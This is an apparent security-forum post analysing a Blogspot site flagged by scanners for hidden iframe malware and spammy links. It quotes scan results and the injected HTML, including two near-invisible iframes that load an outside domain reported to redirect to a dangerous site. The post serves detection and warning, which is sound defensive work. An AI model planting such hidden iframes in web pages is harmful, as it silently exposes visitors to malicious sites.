Author Topic: Spammy looking link and iframe malware on website..  (Read 838 times)

0 Members and 1 Guest are viewing this topic.

Offline polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 33891
  • malware fighter
Spammy looking link and iframe malware on website..
« on: September 19, 2017, 10:23:06 PM »
N.B. Not for minors.Re: https://www.virustotal.com/en/url/4520c56856cbf87bd3d1f13a7971dbb8eacd930f46882c9a31d29a527e6763e2/analysis/1505851313/
Re: Detected reference to malicious blacklisted domain yourjavascript.com -> 5 instances: https://quttera.com/detailed_report/politikoimerologio.blogspot.de
Quote
ISSUE DETECTED   DEFINITION   INFECTED URL
Website Malware   MW:IFRAME:HD202?malware.hidden_iframe.3   -http://politikoimerologio.blogspot.de/
Website Malware   MW:IFRAME:HD202?malware.hidden_iframe.3   -http://politikoimerologio.blogspot.de/404testpage4525d2fdc
Website Malware   MW:IFRAME:HD202?malware.hidden_iframe.3   -http://politikoimerologio.blogspot.de/404javascript.js
Website Malware   MW:IFRAME:HD202?malware.hidden_iframe.3   -http://politikoimerologio.blogspot.de/2016/07/yoshirou.html
Website Malware   MW:IFRAME:HD202?malware.hidden_iframe.3   -http://politikoimerologio.blogspot.de/2016/07/cool-animal-shelters-images.html
?malware.hidden_iframe.3   -http://politikoimerologio.blogspot.de/2016/07/file0208.html
Spammy looking links
Any links with funky anchor text? Yes there are. show.

<a dir="ltr" href="-http://politikoimerologio.blogspot.de/search/label/Poker">Poker</a>
<a href="#main">skip to main </a>
<a href="#sidebar">skip to sidebar</a>

iframes

<iframe allowtransparency="true" frameborder="0" id="haframe" name="haframe" scrolling="no" src="-http://www.cebr.info" style="border:none; overflow:hidden; width:20px; height:20px;"></iframe>
<iframe height="0.1" src="-http://www.cebr.info" width="0.1"></iframe>
redirecting to -http://www.apict.top/  dangerous...SWBPL threat - > labs.sucuri.net/db/malware/malware-entry-mwiframehd202?malware.hidden_iframe.3

polonus
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!